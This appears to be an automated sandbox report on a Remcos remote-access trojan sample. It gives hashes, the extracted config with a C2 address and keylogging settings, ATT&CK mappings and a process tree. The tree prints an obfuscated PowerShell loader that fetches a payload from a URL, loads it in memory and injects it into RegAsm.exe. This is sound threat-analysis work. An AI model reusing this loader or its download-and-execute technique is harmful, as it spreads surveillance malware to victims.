remcos | f47da41573231159283b297aee90e0265ae0b53812d508d59be4fd97e89bdd41

General

Target

f47da41573231159283b297aee90e0265ae0b53812d508d59be4fd97e89bdd41.vbs
Size

283KB
MD5

0c6c4542c1abc5fc3d5eab3e4ab3793a
SHA1

288dfb240061530c2c73ae4183b7330623e94a69
SHA256

f47da41573231159283b297aee90e0265ae0b53812d508d59be4fd97e89bdd41
SHA512

7c3e22629060d8b18f1e88cbcb946d470599ac14699c75a7c1bf5cec0e174b8b3552eb6ec580defa747cb4cd5d9bfcc56e4ee9aa3dd366ed4272f88718ed8e2b
SSDEEP

6144:krHUuR5e0zLMcgGkkurXmTX/lb+rsb4Okiy+3kPvvA:kr0uR5e0nMc/kLrWTX/lb+rsb4Okiy47

Score

10^/10

remcos remotehost discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Extracted

Family

remcos

Botnet

RemoteHost

C2

45.90.89.98:8243

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
loat
keylog_path
%Temp%
mouse_option
false
mutex
Rmc-O0U3JA
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	1332	powershell.exe
47	1332	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
684	powershell.exe
1332	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1332 set thread context of 1500	1332	powershell.exe	96

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
684	powershell.exe
684	powershell.exe
1332	powershell.exe
1332	powershell.exe
1332	powershell.exe
1332	powershell.exe
1332	powershell.exe
1332	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	684	powershell.exe
Token: SeDebugPrivilege	1332	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1500	RegAsm.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 4744 wrote to memory of 684	4744	WScript.exe	82
PID 4744 wrote to memory of 684	4744	WScript.exe	82
PID 684 wrote to memory of 1332	684	powershell.exe	84
PID 684 wrote to memory of 1332	684	powershell.exe	84
PID 1332 wrote to memory of 2468	1332	powershell.exe	94
PID 1332 wrote to memory of 2468	1332	powershell.exe	94
PID 1332 wrote to memory of 2468	1332	powershell.exe	94
PID 1332 wrote to memory of 1476	1332	powershell.exe	95
PID 1332 wrote to memory of 1476	1332	powershell.exe	95
PID 1332 wrote to memory of 1476	1332	powershell.exe	95
PID 1332 wrote to memory of 1500	1332	powershell.exe	96
PID 1332 wrote to memory of 1500	1332	powershell.exe	96
PID 1332 wrote to memory of 1500	1332	powershell.exe	96
PID 1332 wrote to memory of 1500	1332	powershell.exe	96
PID 1332 wrote to memory of 1500	1332	powershell.exe	96
PID 1332 wrote to memory of 1500	1332	powershell.exe	96
PID 1332 wrote to memory of 1500	1332	powershell.exe	96
PID 1332 wrote to memory of 1500	1332	powershell.exe	96
PID 1332 wrote to memory of 1500	1332	powershell.exe	96
PID 1332 wrote to memory of 1500	1332	powershell.exe	96
PID 1332 wrote to memory of 1500	1332	powershell.exe	96
PID 1332 wrote to memory of 1500	1332	powershell.exe	96

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f47da41573231159283b297aee90e0265ae0b53812d508d59be4fd97e89bdd41.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHNIRUxsSWRbMV0rJHNoRWxsSURbMTNdKydYJykgKCgnRklpJysndXJsID0gOXVPaHR0cHMnKyc6LycrJy9pYTYwMCcrJzEwMC51cy5hcmNoJysnaScrJ3ZlLm9yZy8yNC8nKydpdGVtcy9kZScrJ3RhaC1ub3RlLScrJ3YvRGV0YScrJ2hOJysnb3QnKydlVi50eHQ5dU87JysnRkknKydpJysnYmFzZScrJzY0QycrJ29uJysndCcrJ2VuJysndCcrJyAnKyc9IChOZXctT2JqZWN0IFN5c3RlbS5OJysnZScrJ3QnKycuV2ViJysnQycrJ2xpJysnZW50KS5EJysnb3cnKydubCcrJ29hZCcrJ1N0cmluZyhGJysnSScrJ2knKyd1cicrJ2wpJysnO0ZJaWInKydpbmFyeUNvbicrJ3RlJysnbnQnKycgJysnPSBbU3lzdGVtJysnLicrJ0NvbnZlcnRdOjpGcm9tQmEnKydzZTY0JysnU3QnKydyaW4nKydnJysnKEYnKydJaWJhcycrJ2UnKyc2NENvbnRlJysnbnQpO0ZJaWFzJysnc2VtJysnYmx5ID0gJysnW1JlZmxlJysnY3QnKydpb24uQXNzZW1ibHldOjpMbycrJ2FkKEZJaWJpbicrJ2FyJysneUMnKydvbnRlbnQpO0ZJaXR5JysncGUgPSBGSWlhc3MnKydlbScrJ2JseS5HZXQnKydUeXBlKDl1T1J1blAnKydFLkhvbWU5dScrJ08pO0ZJaW1ldGhvZCAnKyc9IEYnKydJJysnaXR5cGUnKycuR2V0TWV0JysnaG9kJysnKDl1T1ZBJysnSTl1Tyk7RicrJ0lpbWUnKyd0JysnaG8nKydkJysnLicrJ0ludm9rZScrJyhGSWknKyduJysndWwnKydsLCBbJysnb2JqZWMnKyd0W11dQCg5dU90eHQuRicrJ0MnKydDTVIvJysnNzExMi8zMjEuOTguMDkuJysnNTQvLzonKydwJysndCcrJ3RoOScrJ3VPICwgOXUnKydPZGVzYXRpdmFkbzknKyd1JysnTycrJyAsIDl1T2RlJysncycrJ2EnKyd0aScrJ3ZhZCcrJ285dU8gLCA5dU9kZXNhdGl2JysnYWRvOXVPLDl1T1JlZycrJ0FzbTl1Tyw5dU85JysndU8nKycpKScpLnJFUGxBQ2UoKFtjaEFSXTcwK1tjaEFSXTczK1tjaEFSXTEwNSksW3NUcmluZ11bY2hBUl0zNikuckVQbEFDZSgoW2NoQVJdNTcrW2NoQVJdMTE3K1tjaEFSXTc5KSxbc1RyaW5nXVtjaEFSXTM5KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:684
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $sHELlId[1]+$shEllID[13]+'X') (('FIi'+'url = 9uOhttps'+':/'+'/ia600'+'100.us.arch'+'i'+'ve.org/24/'+'items/de'+'tah-note-'+'v/Deta'+'hN'+'ot'+'eV.txt9uO;'+'FI'+'i'+'base'+'64C'+'on'+'t'+'en'+'t'+' '+'= (New-Object System.N'+'e'+'t'+'.Web'+'C'+'li'+'ent).D'+'ow'+'nl'+'oad'+'String(F'+'I'+'i'+'ur'+'l)'+';FIib'+'inaryCon'+'te'+'nt'+' '+'= [System'+'.'+'Convert]::FromBa'+'se64'+'St'+'rin'+'g'+'(F'+'Iibas'+'e'+'64Conte'+'nt);FIias'+'sem'+'bly = '+'[Refle'+'ct'+'ion.Assembly]::Lo'+'ad(FIibin'+'ar'+'yC'+'ontent);FIity'+'pe = FIiass'+'em'+'bly.Get'+'Type(9uORunP'+'E.Home9u'+'O);FIimethod '+'= F'+'I'+'itype'+'.GetMet'+'hod'+'(9uOVA'+'I9uO);F'+'Iime'+'t'+'ho'+'d'+'.'+'Invoke'+'(FIi'+'n'+'ul'+'l, ['+'objec'+'t[]]@(9uOtxt.F'+'C'+'CMR/'+'7112/321.98.09.'+'54//:'+'p'+'t'+'th9'+'uO , 9u'+'Odesativado9'+'u'+'O'+' , 9uOde'+'s'+'a'+'ti'+'vad'+'o9uO , 9uOdesativ'+'ado9uO,9uOReg'+'Asm9uO,9uO9'+'uO'+'))').rEPlACe(([chAR]70+[chAR]73+[chAR]105),[sTring][chAR]36).rEPlACe(([chAR]57+[chAR]117+[chAR]79),[sTring][chAR]39))"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1332
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:2468
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:1476
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:1500

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
1a11402783a8686e08f8fa987dd07bca

SHA1
580df3865059f4e2d8be10644590317336d146ce

SHA256
9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

SHA512
5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m0yepflb.452.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\loat\logs.dat

Filesize
144B

MD5
327ac98aca88ea209a0fdc1f53fba236

SHA1
04ae842e93a96bd2d1ad90f3e35aeaa50661d7b1

SHA256
fe9e42fa647be70ea4e33f36f7b7ab3605bf2af10382f544a67adbf320eb3cfe

SHA512
953d8d8797fec603f5ed09472e969e84027c78623e2394302911ded9f846ac1b9382ea0875e5fa367a2aabe1f66afe74c3c303049f554bf769bc3e79e1ddcb04

Download Submit
memory/684-22-0x00007FFE63773000-0x00007FFE63775000-memory.dmp

Filesize
8KB

Download
memory/684-1-0x00000168347F0000-0x0000016834812000-memory.dmp

Filesize
136KB

Download
memory/684-23-0x00007FFE63770000-0x00007FFE64231000-memory.dmp

Filesize
10.8MB

Download
memory/684-0-0x00007FFE63773000-0x00007FFE63775000-memory.dmp

Filesize
8KB

Download
memory/684-12-0x00007FFE63770000-0x00007FFE64231000-memory.dmp

Filesize
10.8MB

Download
memory/684-11-0x00007FFE63770000-0x00007FFE64231000-memory.dmp

Filesize
10.8MB

Download
memory/684-32-0x00007FFE63770000-0x00007FFE64231000-memory.dmp

Filesize
10.8MB

Download
memory/1332-24-0x0000018476520000-0x000001847672C000-memory.dmp

Filesize
2.0MB

Download
memory/1500-25-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1500-34-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1500-35-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1500-38-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1500-39-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1500-31-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1500-45-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1500-46-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads